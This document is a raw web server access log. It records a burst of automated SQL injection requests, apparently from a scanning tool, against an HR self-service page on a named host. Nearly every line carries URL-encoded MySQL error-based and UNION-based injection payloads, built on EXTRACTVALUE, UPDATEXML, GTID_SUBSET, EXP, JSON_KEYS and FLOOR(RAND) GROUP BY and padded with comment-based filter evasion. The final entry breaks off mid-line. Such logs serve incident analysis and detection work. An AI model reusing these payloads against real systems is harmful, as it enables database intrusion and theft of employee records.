100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f544f61%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61635164%29%29x%29%29--%2F%2A%2A%2FMutV&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f544f61%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61635164%29%29x%29%29--%2F%2A%2A%2FMutV&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x76435839%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49546f7a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FNWQY%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x76435839%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49546f7a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FNWQY%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x7357556e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c4a4137%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FDKyU&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x7357556e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c4a4137%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FDKyU&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x586b5941%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46744a78%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FmOsB%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x35567466%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4446504b%29%29%2C1%29--%2F%2A%2A%2F7tpl&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x35567466%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4446504b%29%29%2C1%29--%2F%2A%2A%2F7tpl&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x424d6c56%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4434424d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Fw66D&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x424d6c56%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4434424d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Fw66D&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6e733171%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65317143%29%29%2C1%29--%2F%2A%2A%2FX2D0&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6e733171%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65317143%29%29%2C1%29--%2F%2A%2A%2FX2D0&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x68536838%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36616f6e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FTWWS&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x68536838%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36616f6e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FTWWS&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x527a3831%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b414f39%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FZahP&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x527a3831%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b414f39%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FZahP&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x53306666%2C%28NULL%29%2C0x37667064%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FFjs9%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x53306666%2C%28NULL%29%2C0x37667064%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FFjs9%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x64563371%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d64536c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x64563371%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d64536c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x3163674d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63385551%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FivtC&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x3163674d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63385551%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FivtC&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x41594162%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x724f5366%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FRhbD&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x41594162%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x724f5366%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FRhbD&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x55504331%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3257524d%29%2C5431%29--%2F%2A%2A%2FcBTz&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x55504331%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3257524d%29%2C5431%29--%2F%2A%2A%2FcBTz&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x764b7471%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47717873%29%2C6420%29--%2F%2A%2A%2FNFgT&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x764b7471%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47717873%29%2C6420%29--%2F%2A%2A%2FNFgT&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4f75516b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55435838%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FjGrm&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4f75516b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55435838%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FjGrm&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x3644447a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6244486c%29%2C5431%29--%2F%2A%2A%2FyOPB&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x3644447a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6244486c%29%2C5431%29--%2F%2A%2A%2FyOPB&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x416b7341%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d6d6262%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FE9el&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) 